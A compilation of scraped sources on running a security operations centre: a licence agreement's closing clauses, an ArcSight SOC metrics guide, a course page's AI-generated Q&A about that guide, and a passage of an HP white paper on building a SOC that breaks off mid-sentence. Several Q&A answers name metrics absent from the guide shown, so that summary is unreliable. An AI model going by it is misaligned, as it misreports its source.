Chart; and even if Company has been advised of the possibility of such damages. Some jurisdictions do not allow the exclusion or limitation of certain remedies or damages so some exclusions and limitations may not apply to you. 12. INDEMNIFICATION. Each party does hereby and will at all times indemnify and hold harmless the other, its officers, directors, shareholders, agents, successors, and assigns, of and from all claims, liabilities, damages, costs, and expenses (including reasonable attorneys' fees and court costs), by reason of any breach or claim of breach for failure of any of the covenants, agreements, representations, or warranties it has made hereunder. All rights and remedies will be cumulative and will not interfere with or prevent the exercise of any other right or remedy which may be available. 13. MISCELLANEOUS. This Agreement constitutes the entire agreement between the parties relating to its subject matter and supersedes all prior or contemporaneous understandings, promises, and undertakings, if any, made orally or in writing by or on behalf of the parties with respect to said subject matter. No modification, amendment, waiver, termination, or discharge of any provision hereof will be binding upon the parties unless confirmed in writing and executed by both parties. If any provision of this Agreement is found to be void, invalid, or unenforceable, such provision will be deemed severed and this Agreement with such provision severed will remain in full force and effect to the extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of Maryland and of the United States. The parties hereby consent to jurisdiction in the federal and state courts located in Maryland. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZlI4UlBrdlhwR1U/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZlI4UlBrdlhwR1U/view?usp=sharing]** Security Management for the Enterprise™ Security Operations Metrics This document outlines the various metrics used through Security Operations Centers encountered by ArcSight Professional Servi ces. These metrics display performance across a number of operational, technological, analytical, and business processes. Table of Contents Business Processes ......................................................................................................................................... 2 Technological Processes ................................................................................................................................. 4 Operational Processes ..................................................................................................................................... 6 Analytical Processes ....................................................................................................................................... 7 Last updated: Thursday, October 23, 2008 Author: David Mackey ( dmackey@arcsight.com ) 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ Business Processes This class of metrics describes the performance of various business process involved in Security Operations, such as: people management and process improvement. • Number of devices per employee: Shows total number of devices (or data feeds) by type by employee over time. o Purpose: Used to track a manageable ratio of SOC analysts and engineers to the number of feeds being monitored and managed by th e SOC. An effective baseline will show operations where the SOC analysts can be diligent and responsive and security engineers are effectively managing all the security de vices. Once this baseline is established, deviations can be tracked to determine wh en more employees will be required due to increased workload. o Sample: Number of applications, firewalls, network IDS sensors, and system IDS sensors monitored divided by the total number of analysts and engineers by month. o Audience: SOC management • Number of events per analyst: Shows total number of events by analyst over time. o Purpose: Similar to the Number of devices per analysts, this metric is used to track a manageable ratio of SOC analysts to the numb er of events being monitored by the SOC. In some cases, the number of devices might not be as accurate if the range of events being monitored by device is not uniform across the environment. o Sample: Number of application, firewall, network IDS, and system IDS events monitored divided by the total number of analysts by month. o Audience: SOC management • Return on risk: Shows the number of cases investigated and concluded in comparison to the overall cost of SOC operations over time. o Purpose: In order to show the ROI of the SOC, this metric attempts to compare the overall cost of SOC operations (e.g., labor, ha rdware and soft ware, facilities, etc.) to the number of security incident successfully identif ied, investigated, and resolved. Attempts to show the overall risk averted by SOC operations. o Sample: Total monthly cost divided by the number of cases closed by month. o Audience: SOC management • Reports generated: Shows the number of standard and custom reports generated by the SOC. o Purpose: Another factor in the ROI, this shows the number of reports generated by the SOC. This measurement is more valuable if the SOC has automated reports that were once manual and has the time savings documented. 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ o Sample: Total number of standard (automated, scheduled) reports vs. number of custom (manually created, one-time) reports delivered in a given month. o Audience: SOC management • Call volumes: Shows the number of phone calls and emails received by SOC analysts over time. o Purpose: To track overall workload, SOC management can use this metric to determine how many requests are coming into the SOC by individuals in the company. Phone, email, web inquiries, and instant message are possible communication avenues to track. (It can also be useful to track after-hours requests to determine whether 24/7 operations is needed.) o Sample: Total number of calls received divided by the total number of analysts by month. o Audience: SOC management 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ Technological Processes These metrics deal with the performance of various IT processes, such as: device uptime, problem and change management, configuration management and response times. • Number of devices monitored: Shows total number of devices (or data feeds) by type over time. o Purpose: Can be used in cases where billing occurs by device and can be tracked to another department. o Sample: Number of applications, firewalls, network IDS sensors, and system IDS sensors monitored by month. o Audience: SOC management • Number of events per device: Shows the number of raw events received by device over time. o Purpose: Used to verify the architecture of secur ity devices (and/or feeds) to determine what devices are seeing too few or too many events. o Sample: Number of firewall events by firewall by month. o Audience: SOC management • Number of events monitored: Shows total number of raw ev ents, uncorrelated events, and correlated events managed within th e SIEM infrastructure over time. o Purpose: Used to show the value in a SIEM infrastructure that is able to take a large amount of raw events then filter, summarize, and correlate those events to a manageable level. o Sample: Total number of raw ev ents, uncorrelated events, and correlated events by month. o Audience: SOC management • Number of events monitored by layer: Shows total number of raw events, uncorrelated events, and correlated events managed by each layer of the SIEM infrastr ucture over time. o Purpose: Used to show where in the SIEM infrastr ucture the “heavy lifting” is occurring as to when and where the even ts are correlated or filtered. o Sample: Total number of raw ev ents, uncorrelated events, and correlated events by Logger, Connector Appliance, and ESM by month. o Audience: SIEM support staff • Events per second: Shows the EPS rates over time. o Purpose: Used to monitor the performance of all components of the SIEM infrastructure. EPS rates can be monitored at the various layers to determine when/if a particular component becomes overloaded and unresponsive. o Sample: Average daily EPS for each Connector Appliance by month. 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ o Audience: SIEM support staff • Updates: Shows the number (and length of time) of signature, policy, application or other software updates performed over time. o Purpose: Used to show the amount of work involved in updating the various security devices and agents feeding the SOC. o Sample: Number of firewall policy updates and average length of time for each update by month. o Audience: SOC management • Outages: Shows the availability of SOC infrastructure over time. o Purpose: Used to determine what components of the security infrastructure experiences outages and how long each outage occurs. o Sample: Percentage of time each IDS Sensor was available by month. o Audience: SOC management • Quiet feeds: Shows the number of data feeds that feed few or no events to the SIEM over time. o Purpose: Used to proactively determine which data feeds may have problems since they are no longer sending events to the SIEM infrastructure. o Sample: List of “quiet” IDS sensors by day. o Audience: Security engineers • Problem and Change Management: Shows the number of changes and problems managed for the SOC infrastructure by type over time. o Purpose: For the environments that have a formal problem and change management methodology, these metrics determine how many IT problems and changes occurred in a given time period. These can also be tracked by type to determine the numbers of problems by severity and/or the number of changes by emergency vs. normal process. o Sample: Number of changes implemented by type (emergency or normal) by status (successful, failed, rescheduled) by month. o Audience: SOC management 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ Operational Processes This category deals with the operational aspects of the Security Operations Center. These metrics measure performance on processes such as: event management, incident call-outs, and customer service inquiries. • Number of cases by status: Shows the number of cases by status over time. o Purpose: Tracks the total case load handled by the SOC over time to ensure analysts are not overloaded. Additionally, these metrics sh ow a performance decrease in cases where the number of closed cases do es not continue to rise with the number of new open cases. o Sample: Number of cases in open, investigati on, hold, and closed status by week. o Audience: SOC management • Number of cases by severity: Shows the number of cases by severity over time. o Purpose: Tracks the total case load by sever ity handled by the SOC over time to determine time periods when the more severe incidents occur. o Sample: Number of cases by severity (critical, high, medium, low) by week. o Audience: SOC management • Event annotation: Shows the number of events annotated over time. o Purpose: Allows the managers to ensure analysts are annotating events properly within the system (if used). o Sample: Number of annotated events per analyst by month. o Audience: SOC management • Case management: Shows the average time each case spends in each status over time. o Purpose: Allows the managers to track the perf ormance efficiencies of how cases are handled in the SOC and which steps take the most time. o Sample: Average amount of time cases spend in Open status, average time cases spend in Investigation status, and average time cases spend in Hold status by week. o Audience: SOC management, SOC analysts 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ Analytical Processes These metrics deal with the most advanced t opics of work that occur within a SOC. These metrics encompass processes like incide nt management, threat intelligence, and vulnerability management. • Vulnerability management: Shows the number of open vulnerabilities by severity by owner over time. o Purpose: Allows the various system owners and business unit managers to track the status of system vulnerabilities by severity. o Sample: Number of vulnerabilities open by severity by month. (Need ability to drill down by business unit / system owner to list of systems.) o Audience: Business unit leads, system owners, SOC analysts, and Incident Management. • Compliant systems: Shows the number of systems that comply with internal or formal compliance requirements over time. o Purpose: Tracks the adherence to compliance requirements. o Sample: % of PCI systems that show compliance to PCI requirements per month. (Need ability to drill down by business unit / system owner to list of systems.) o Audience: Business unit leads, system owners, and Internal audit. • Patched systems: Shows the number of systems that have the latest OS or application patches installed over time. o Purpose: Tracks the adherence to internal patch management policy. o Sample: % of systems that are fully-patched per month (ability to drill down by business unit / system owner to list of systems) o Audience: Business unit leads, system owners, SOC analysts, and Incident Management. • Infected systems: Shows the number of syst ems infected by malcode and cleaned over time. o Purpose: Tracks the occurrence of various malcode families within the environment. o Sample: Number of system infected with the number of systems cleaned by day (ability to drill down by business unit / system owner to list of systems) o Audience: Business unit leads, system owners, SOC analysts, and Incident Management. • Top 10 attacked ports: Shows the destination TCP/IP ports th at are most attacked over time. o Purpose: Shows trends in port attacks. o Sample: Top 10 attacked TCP/IP ports by day (ability to drill down to typical uses of port) o Audience: SOC analysts and Incident Management. 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com Security Management for the Enterprise™ • Top 10 events: Shows the most severe security events over time. o Purpose: Shows trends in attacks. o Sample: Top 10 attacks by day (ability to drill down to description of the event) o Audience: SOC analysts and Incident Management. 5 Results Way, Cupertino, CA 95014, US A Phone: (408) 864 2600 Fax: (408) 342 1615 www.arcsight.com --- ## Source: https://montance.com/questions.php?id=100 [![pdf](content/images/icons/pdf.svg) HP - ArcSight - SOC metrics.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZlI4UlBrdlhwR1U/view?usp=sharing) HP ArcSight SOC Metrics Resource covering Metrics titled 'HP ArcSight SOC Metrics'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary purpose of the 'SOC Stock Metrics' document? A: To provide a catalog of standard metrics for measuring SOC performance using ArcSight. * Q: What metric is used to measure 'Detection Efficiency'? A: The ratio of events to alerts to confirmed incidents. * Q: What is the 'Rule Firing Rate'? A: The frequency with which specific correlation rules are triggered. * Q: How is 'False Positive Rate' calculated? A: The percentage of alerts that are determined to be non-malicious after investigation. * Q: What does 'Time to Triage' measure? A: The average time from alert generation to initial analyst review. * Q: What is the 'Device Reporting' metric? A: The percentage of devices successfully sending logs to the SIEM. * Q: What is the 'EPS' metric? A: Events Per Second - a measure of log volume and system load. * Q: What is the value of 'Analyst Workload' metrics? A: To identify staffing needs and prevent burnout by tracking cases per analyst. * Q: What is 'Mean Time to Resolution' (MTTR)? A: The average time it takes to close an incident. * Q: What is the 'Top Talkers' metric? A: Identifying the hosts generating the most network traffic or log volume. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgbmlWa2JKOG1RekU/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgbmlWa2JKOG1RekU/view?usp=sharing]** Business white paper Security operations Building a successful SOC 2 Business white paper | Security operationsTable of contents 2 I ntroduction 3 M ission and business case 4 P eople 4 S election 4 R etention and career progression 5 T raining 5 S taffing plans 6 Pr ocesses and procedures 10 E xercise 10 T echnology 10 D ata collection and aggregation 11 D ata correlation 12 S ummary 12 A bout HP Enterprise Security 12 H P ServicesThis paper outlines industry best practices for building and maturing a security operations center (SOC). For those organizations planning to build a SOC or those organizations hoping to improve their existing SOC, this paper will outline the typical mission parameters, the business case, people considerations, processes and procedures, as well as the technology involved. Introduction To prevent the myriad of modern attacks, comply with government and industry regulations, monitor deployed technology solutions, and verify the endless human interactions with technology, organizations turn to industry-leading security technology. They may go to HP TippingPoint for their network intrusion prevention systems (IPS), Cisco for their firewall solutions, and McAfee for host-based protection. This heterogeneous approach to selecting security solutions provides organizations the best-of-breed technologies and offers inherent security by not relying on any single vendor or security platform. The combination of technologies does, however, present a large challenge—there is no inherent way to normalize, aggregate, and correlate the security events across technologies. Further, one team may support the firewalls, another may support the network IPS devices, and yet another may support the host-based security tools. This leads to security monitoring that is performed using different tools and by different teams. Piecing together the details of an attack in real time becomes incredibly difficult and even forensic analysis after an attack is slowed by the need to combine event streams. In reality, building and maintaining a strong security posture necessitates a centralized effort to monitor, analyze, and respond to security events across technologies as quickly as possible. To meet this need, many organizations turn to Managed Security Services Providers (MSSPs) to outsource the bulk of security monitoring and testing. MSSPs offer a number of benefits because they can: • M onitor security events around-the-clock and provide in-depth information security expertise. • S pot patterns across a number of customers to provide advanced warning on new threats. • P rovide services to customers that do not have dedicated information security staff. However, MSSPs also present a number of disadvantages. Namely, MSSPs do not:• H ave an in-depth knowledge of the customer’s policies, procedures, or overall IT environment. • O ffer dedicated staff for every customer. Only large organizations that spend the most with the MSSP generally receive dedicated support. • O ffer customized services, processes, or procedures for the customer’s needs. MSSPs strive to standardize services to gain economies of scale in providing security services to many customers. • S tore security data only at the customer premise. Security data will be transmitted and stored at MSSP locations that may or may not be in the home country. Weighing the considerations, many IT groups decide to build their own SOC to correlate events and centralize the security monitoring, analysis, and response within a single team. For these organizations, the MSSP’s disadvantages outweigh its benefits. There are unique business requirements that require a dedicated SOC, or there may be cost drivers that dictate the need for an in-house SOC. Building an in-house SOC does, however, present its own set of challenges and many groups struggle on how to best start. This paper will offer a clear understanding of how to build your own SOC and balance the triad of IT project components—people, processes, and technology to jumpstart your efforts. 3 Business white paper | Security operationsMission and business case Prior to building a SOC, organizations need to take some time to plan. All too often this planning focuses only on the people, process, and technology components of the project and ignores outlining the fundamental drivers for why the SOC is needed and what business problems the SOC will solve. Prior to developing the project plan for building a SOC, project sponsors need to take a hard look at the overall mission and business case for the SOC. Mission All successful teams need a unifying sense of purpose to help motivate team members, prioritize work, and respond effectively to the changing needs of the business. Time spent in this phase of planning will benefit the SOC long term. Prior to building a SOC, organizations must answer the following questions: • W hat needs will the SOC meet for the organization? • W hat are the specific tasks assigned to the SOC? (e.g., detecting attacks from the Internet, monitoring PCI compliance, detecting insider abuse on the financial systems, incident response and forensic analysis, vulnerability assessments, etc.) • W ho are the consumers of the information collected and analyzed by the SOC? What requirements do they hope to impose on the SOC? • W ho is the ultimate project sponsor for the SOC? Who will “sell” the SOC to the rest of the organization? What requirements will he or she levy on the SOC? • W hat types of security events will eventually be fed into the SOC for monitoring? Business caseThere are very few organizations that are going to approve the build-out of a SOC without a clear outline of the costs and strategies to recover those costs. In outlining the costs of the SOC, the following items will help start the discussion: • F acilities: Furniture, computer equipment, special physical security requirements, power, HVAC, telephony • S OC labor: Security analysts, shift leads, SOC managers • S upporting labor: Network support, system support, database support, telephony support, security device management • E ducation and training: Classes, conferences, continuing education • T hreat intelligence subscriptions: Up-to-the-minute information on the latest threats • M onitoring technology: Hardware, software, storage, and implementation services • A dditional technologies: Problem and change management, email, knowledge sharing Recovering these costs is a much tougher problem to solve. The following list outlines some common approaches in justifying the expense of a SOC: • Co st avoidance: Building the SOC will cost far less than not detecting, preventing, and responding to attacks. • Co st efficiencies: Chances are that many of the SOC processes or technologies can help automate or consolidate functions already taking place within the organization. By accepting a new data feed, providing analysis of the data for specific threat conditions, and producing automated reporting, a SOC can often save the organization money by reducing manual effort. • I mproving security ROI: Most organizations have invested in a myriad of security related technologies or capabilities (DLP, AV, IDPS, etc.). To achieve maximum effectiveness from these investments, the configurations need to be continually optimized and the data generated by the devices needs to be analyzed. Correlating data between investments further magnifies the value and effectiveness realized by an organization for these investments. 4 Business white paper | Security operations• C ost sharing: In many cases, other groups are currently asked with the responsibilities outlined for the future SOC. Are those groups willing to “outsource” these responsibilities to the SOC? Having other organizations help to foot the bill can help you minimize the overall cost impact. • R evenue/cost recovery: Can SOC services be offered to customers, either internal or external? There is more work in determining separation of information among customers, pricing models, and other business aspects, but actual revenue (or cost recovery in the case of internal customers) is a powerful argument where SOC services can be leveraged to perform security services for other organizations. • C ommercial differentiation: Information security is on the minds of businesses and consumers like never before. The presence of an effective SOC can help a company or organization earn trust of clients, enter certain markets, and differentiate themselves from competitors in the market. People Once the SOC mission and business case are clearly outlined, project teams can then focus on the traditional IT project components of people, process, and technology. While no portion of the triad is more important than the other, organizations tend to fail more often in attracting and retaining the key people necessary to operate a SOC effectively. Selection The most common error in implementing an internal SOC is attracting people with the right skills. Companies tend to start with too low a skill set for the analyst. The SOC analyst is the infantry of the information security community engaged in daily trench warfare with a tough and innovative opponent. This is an opponent who understands the rigors of monitoring a console for malicious events that are masked by thousands of nuisance events. The effective SOC analyst needs a good deal of trouble-shooting patience, the ability to research problems, and an unflappable ability to communicate during stressful times. It takes more than entry level IT skills to succeed. While the exceptional candidate can go from a help-desk technician to being an effective SOC analyst, a better initial capability is found in system administration, desktop support, and network operations personnel. Personnel experienced in network, server, and desktop support tend to have the troubleshooting background to excel quickly in the typical analyst tasks involving the depths of the TCP/IP protocol suite and various intrusion detection signatures. Hiring a team of analysts with all of the requisite skills can present problems as well (affordability, culture clash, etc.) and many companies have the most success with hiring an initial SOC staff with complementary skills and implementing training and mentoring programs. Retention and career progression Monitoring and responding to an endless supply of security events is enough to tire even the most eager information security professional. As such, the typical tenure of a SOC analyst is between one to three years. This makes it imperative to focus on items that threaten job satisfaction and drive retention. This includes creating a positive team culture, providing opportunities for development, and avoiding “console burn in” by planning rotational duties. A company must also continually identify candidates for the next generation of analysts and plan the career progression for existing analysts. The SOC Manager should develop strong relationships with other IT groups to help identify those candidates wanting to start a new information security career. Additionally, the SOC Manager should look toward Incident Response teams, Forensics, Audit, and other advanced information security groups to help offer SOC personnel a career path after their SOC tenure. 5 Business white paper | Security operationsTraining SOC analysts cannot be effective without appropriate training; luckily, there are very good options for building an effective training program. When crafting training plans, SOC Managers should include both formal training on standard information security skills and on-the-job training (OJT) to help maximize the analysts’ effectiveness within the organization. Formal training should include the System Administration and Network Security (SANS) “Intrusion Detection in Depth” training module and the GIAC Certified Intrusion Analyst (GCIA) certification. This is the industry standard in training analysts in the fundamentals of TCP/IP, TCP/IP monitoring tools, and skills associated with advanced intrusion analysis. Vendor training for core SOC technologies should also be leveraged to ensure proficiency with the tools that enable the operation. For those organizations standardizing their logging and Security Information and Event Management (SIEM) program around HP ArcSight, HP ESP University offers a variety of courses in Logger and ESM, including advanced content development. The HP ArcSight ESM Security Analyst (AESA) training is a must-have, training analysts to properly identify, correlate, and filter critical security events using the ESM product. On-the-job training programs should provide an overview of important information security concepts, training on specific intrusion detection tools in use, analytical processes and procedures, company policies and standards, operations, and effective communication techniques. The SOC analyst will be required to effectively communicate and brief all levels of engineers and senior management during times of extreme stress, thus training in managing combative communication is invaluable. This training should also include the hierarchy of communication methods. Learning when to page, call, email or assign a ticket is a critical skill. Additionally, it is important that any analyst learn to communicate in concise well-written papers and emails. SOC managers should create a program that has aspiring analysts writing analytical papers and then presenting their findings to their peers to hone written and verbal communication skills. Staffing plans Staffing plans will evolve directly out of the needs of the mission. Is the SOC a virtual entity where events are collected, analyzed, alerted, and reported? Must the SOC have full-time personnel to monitor consoles, analyze, alert, and report? Or, does the SOC need full staffing 24 hours a day, 7 days a week, all year round? These mission needs will dictate the staffing models that must be implemented. Despite the particulars of any giving staffing models, there are some guidelines to follow: • O ne SOC analyst should never be alone in manning a shift. There are a myriad of safety and performance issues that can result. • E ach shift and role within the SOC should have clearly-defined responsibilities and deliverables. • T here should be no ambiguity in what is expected from each analyst at any given time during a SOC shift. • W orkload and output from each shift should be regularly measured and adjustments to schedules, staffing levels, or task distribution should be modified accordingly. An overloaded SOC analyst will not be able to support the objectives of the SOC. • M ost oversights and errors will occur during shift turnover. Therefore there needs to be a clear “hand-off” between shifts and overlapping shifts are beneficial. Each shift should keep a formal log of events documenting those issues that need additional or continual attention. • T here is a significant issue that always shows up on any night shift—the analysts feel ignored and uninformed. The SOC manager must work hard to ensure he/she constantly communicates with the night shift and schedules time to work alongside. • T o staff a SOC 24x7x365, a minimum of ten SOC Analysts are required. The shift schedule that best fits this staffing model leverages four shifts each working 12 hours at a time. A minimum of two analysts should be on schedule at all times. Additionally, two of the more experienced analysts (commonly referred to as Level 2 Analysts) work an overlapping 8x5 shift and are available to cover shifts for planned and unplanned absences. Figure 1 shows a sample schedule for a 24x7x365 shift schedule. 6 Business white paper | Security operationsProcesses and procedures SOC processes and procedures can act as a buffer between people and technology. For example, new analysts will have very little idea how to start and it’s likely that existing staff will not have a good deal of dedicated time to help train. Well-documented processes and procedures can clearly guide the new analysts’ actions in those formative days. Additionally, the SOC technology may not have all the necessary features to accommodate a specific business need. Processes and procedures can pick up the slack by allowing people to follow guidelines to accomplish tasks manually. To achieve an effectively operating SOC, the associated processes and procedures must not only exist but also be mature. Maturity in process management is first achieved by repeatability and then by continuous process improvement. The Carnegie Mellon Software Engineering Institute (SEI) Capability Maturity Model Integration (CMMI) offers a great approach to continuous process improvement. From the SEI website: Capability Maturity Model Integration (CMMI) is a process improvement approach that provides organizations with the essential elements of effective processes. It can be used to guide process improvement across a project, division, or an entire organization. CMMI helps integrate traditionally separate organizational functions, set process improvement goals and priorities, provide guidance for quality processes, and provide a point of reference for appraising current processes.Figure 1. Sample 24x7x365 SOC shift schedule Daily Schedule (8 AM to 8 AM) Level 1 Analysts Night Shift Day Shifts 1 and 2—10 AM to 10 PM Night Shifts 3 and 4—10 PM to 10 AM Level 2 Analysts Day Shift 8 AM to 5 PM Night Shift 5 PM to 2 AM On-call Rotation Security Engineers Day Shift 8 AM to 5 PM On-call Rotation SOC Management Day Shift 8 AM to 5 PM On-call Rotation Week Schedule Sunday Monday Tuesday Wednesday Thursday Friday Saturday Level 1 Analysts (Week 1)Shift 1 (Days) Shift 2 (Days) Shift 3 (Nights) Shift 4 (Nights) Shift 3 Level 1 Analysts (Week 2)Shift 1 (Days) Shift 2 (Days) Shift 3 (Nights) Shift 4 (Nights) Shift 3 Level 2 Analysts On-call Rotation Business Week On-call Rotation Security Engineers On-call Rotation Business Week On-call Rotation SOC Management On-call Rotation Business Week On-call Rotation 7 Business white paper | Security operationsBecause SOCs typically have a large number of processes and procedures, CMMI offers a great architecture to help organize, maintain, and improve this body of work. For most organizations, CMMI Level 3 is an appropriate goal. This maturity level ensures the processes and procedures are documented and subjected to demonstrable improvement over time. In practical terms, this means that any given analyst on any shift will execute a procedure in exactly the same manner. Additionally, if an analyst finds an error or change needed in a procedure they can make an on-the-spot correction and all subsequent analysts will benefit immediately from the improvement. Note: This type of dynamic process and procedure maintenance is best achieved by the use of a knowledge management and collaboration environment. A knowledge based system is a collection of pages that allows users to contribute and modify content on the fly. While other knowledge base tools can effectively store documentation and offer adequate version control. (Note: A common use for dual monitors at SOC operations pods is to use one for console monitoring and the other for procedural reference and research.) Process hierarchy Generally speaking, a process defines who is responsible for doing which tasks, and a procedure tells them in detail how to accomplish the task. For a SOC, there are generally 14 main processes and around 36 subordinate procedures as shown in Figure 2. These are arrayed in a pyramid to demonstrate that each process and accompanying procedures rely on the processes below them. Thus, metrics support process improvement, technology design and event management support intrusion analysis, etc. SOC processes are broken up into the four main categories: • B usiness processes: Document all the administrative and management components that are required to effectively operate a SOC. • T echnology processes: Maintain all the information relating to system administration, configuration management and conceptual design. • O perational processes: Document the mechanics of the daily operations, like shift schedules and turn-over procedures. • A nalytical processes: Encompass all activities designed to detect and better understand threats and malicious events and produce actionable security intelligence. These are the processes that will demonstrate value and deliver on the business objectives of the SOC. Figure 2. Process hierarchy that shows the various SOC processes and how they build on each other AnalyticalSubtle event detection Reporting Incident management Intrusion analysis TechnologicalDesign Configuration management System administrationEvent management Daily operations Training Operational BusinessBC/DR ComplianceProcess improvement Metrics 8 Business white paper | Security operationsOrganizational relationships In addition to documenting the processes and procedures necessary to operate the SOC effectively, the SOC must have a large number of external relationships to effectively manage a crisis situation. These relationships can include internal teams, such as: Incident Response, Security Management, Security Engineering, Legal, Human Resources, Public Relations, and Lines of Business. Relationships will also include external teams like: CERT/CC, Information Sharing and Analysis Centers (ISAC), local and national law enforcement, supporting product vendors, etc. All the various points of contact (POCs) should be well-documented along with how and when the SOC should involve them in a developing situation. Detection vs. analysis There is a key distinction to use in developing SOC processes and procedures. Operational time is focused on “near real time” detection of threats. Detection time is defined as the period of time from when an event is identified within the SOC to when the analyst makes a decision as to how to act on it—a SOC is continually striving to minimize detection time so that threats can be responded to as quickly as possible, during operational time. For example, an analyst identifies a SQL injection attack against a monitored Web server. She will then conduct initial research using various sources intelligence about the target, attacker, and associated threats and exploits to better understand whether the event indicates a true attack and a threat. After research, the analyst will determine the priority of the event and annotate the event accordingly. For example the event may be annotated as: a misconfiguration of the security device; a false positive event due to poor Web app design; worthy of additional monitoring attention; worthy of additional research; or a confirmed intrusion attempt to be escalated. The analytical time frame begins once operational time is past and continues for up to 90 days. Due to the sheer volume of information generated in a modern enterprise and the complexity of modern threats, not all data will be analyzed in operational time and not all threats will be detected within the operational time window. To cover this gap, the processes within the analytical time frame take over. Analysts will continue researching the events using multiple techniques that are not appropriate in operational analysis including analyzing trends and long-term patterns with visual data mining and other advanced analytical techniques. As threats are detected in the analytical time frame, analysts notify the necessary constituents, report the event, and perform forensic analysis as needed. This distinction in timeframes, as shown in Figure 3, will help to organize SOC processes and clearly delineate roles among the associated actions. Figure 3. Timeline for event detection through analysis Event detectionOperational decision pointDetection AnalysisTriage and initial research Threat intelligence infusionAdvanced search/subtle event detectionForensics/ reverse engineering callout and notificationsReporting 9 Business white paper | Security operationsProcedure flow Once SOC processes have been defined, the organization needs to take the next step in outlining the various procedures associated with each process. Each major area of process will have its own procedures. Here is an example from each area: Figure 4 gives an example of the relationships among the subordinate procedures. The core procedures documented in the circle should be areas of particular emphasis as these define the basic actions to recognize and respond appropriately to detected malicious events. This also shows how all the supporting business and technology procedures support effective daily security operations. Crisis response CalloutsCore procedures Operational timeAnalytical timeTriage Monitoring Use cases Modeling Configuration management: Applications Configuration management: ArchitectureMaintenanceShift turnover Daily operations call TrainingEvent analysis Informational metricsAgile methodologyDocumentation Infrastructure performanceReport analysis Periodic reportsFigure 4. SOC procedure flow Key performance indicators Disaster recoveryBusiness continuityInternal complianceCompliance supportShift schedule and staffing Case management Problem and changeFocused monitoringIncident researchIncident response Incident summaryData visualization Analyst comments Access managementProcess maturityInformation fusionProcess category SOC process Procedure Procedure description Business Metrics reporting KPI reporting Outlines the steps involved in reporting the key performance indicators (KPIs) of the SOC. Technology System administration User access managementDetails the steps necessary to request, approve, and grant access to the various SOC tools. Operational Daily operations Shift turnover Outlines information to be shared and reviewed in shift logs to ensure no information gaps occur at shift change. Analytical Intrusion analysis Threat intelligence Enumerates the steps the Level 2 Analysts perform to gather up-to-date cyber intelligence information, analyze it for relevance, and produce a daily report for the analysts to read and leverage in their monitoring role. 10 Business white paper | Security operationsExercise A key item on the path to a fully mature SOC is to conduct a full-scale exercise that includes the range of process and procedures and leverages all the internal and external relationships that have been built. There are a number of challenges that can be introduced to see how the SOC functions under considerable organizational and situational stress, such as: Degradation of communications, unavailability of various SOC tools, and condensation of the available time. Once this exercise is complete all involved teams should conduct a group “lessons learned” review and address all identified weaknesses with more training or improved process and technology. Technology Modern organizations generate data and events at astronomical volumes. This data may be structured in the form of standardized logs or unstructured in the form of chats or tweets. Threats, Indicators of Compromise (IOC), and forensic information exist throughout this sea of data—and much of this data is required to be stored by law or regulation. Modern logging platforms such as HP ArcSight Logger are capable of collecting and storing this data, and even make it available for research and incident forensics, but logging platforms are not suitable for operational time analysis. Identifying significant events from a large number of heterogeneous security devices and systems, correlating those events, and reducing the overall event volume to a level manageable by the analytical staff so that threats and IOCs can be detected is the real challenge. To automate event collection and correlation, SOCs must deploy a SIEM solution. The HP ArcSight ESP platform is the premier solution for monitoring, investigating, and responding to malicious events. ESM takes the step beyond storage and alerting to provide real-time monitoring and correlation, historical analysis, and the automated response necessary to manage the higher level of risk associated with doing business in today’s digital world. HP ArcSight delivers real-time event management and “forensics on the fly:” the ability to drill down from an alert to the source events that triggered the alert. Data collection and aggregation HP ArcSight Logger and SIEM products can collect thousands of events per second from nearly any device that generates a log. The events are stored for analysis, display, investigation, and reporting. Data can be collected and aggregated in an agentless fashion where necessary or by deploying various devices and concentrators throughout the network using ArcSight SmartConnectors. SmartConnectors provide support for over 300 products out of the box and FlexConnectors can easily be created to meet custom or unique log requirements. This results in several benefits: • E asy deployment to existing infrastructure without adding additional hardware or re-architecting existing devices and protocols. • D istributed data collection can utilize a variety of protocols (e.g., Checkpoint, Cisco Secure IDS, any SNMP, any syslog) while working from a central HP ArcSight platform. • S ecure communication occurs securely over existing IP or IPSec protocols and through firewalls conforming to standard security policies. • A bility to scale to handle increasingly wider deployments that bring additional sources of information into the system without incremental installation and maintenance. An important element of the HP ArcSight data aggregation strategy is a complete capture of the status, alarms, and alerts from the various firewalls, intrusion detection systems, and other relevant sources that are being monitored, no matter what topology of agents and centralized collectors is used. This means that every field from every event can be available for real-time correlation, display, investigation, and reporting. HP ArcSight SmartConnectors support hundreds of products and can also: • N ormalize every alarm and alert into a common security schema • F ilter out unwanted traffic • S et severity according to a common taxonomy • I ntelligently manage bandwidth to minimize network traffic 11 Business white paper | Security operationsData correlation While ensuring that the necessary data can be collected and centralized, a successful SIEM technology should also be able to normalize, categorize, and correlate the data across many technologies. In particular a SIEM must be able to accomplish these eight tasks: • N ormalization: A SIEM solution must have a robust data schema. To normalize data across many different devices, the solution must provide enough data fields to add all of the necessary information from these devices so it can correlate against them. Without this data capability, a SIEM could not add or integrate with multiple devices from disparate parts of the organization—such as from network devices, security systems, 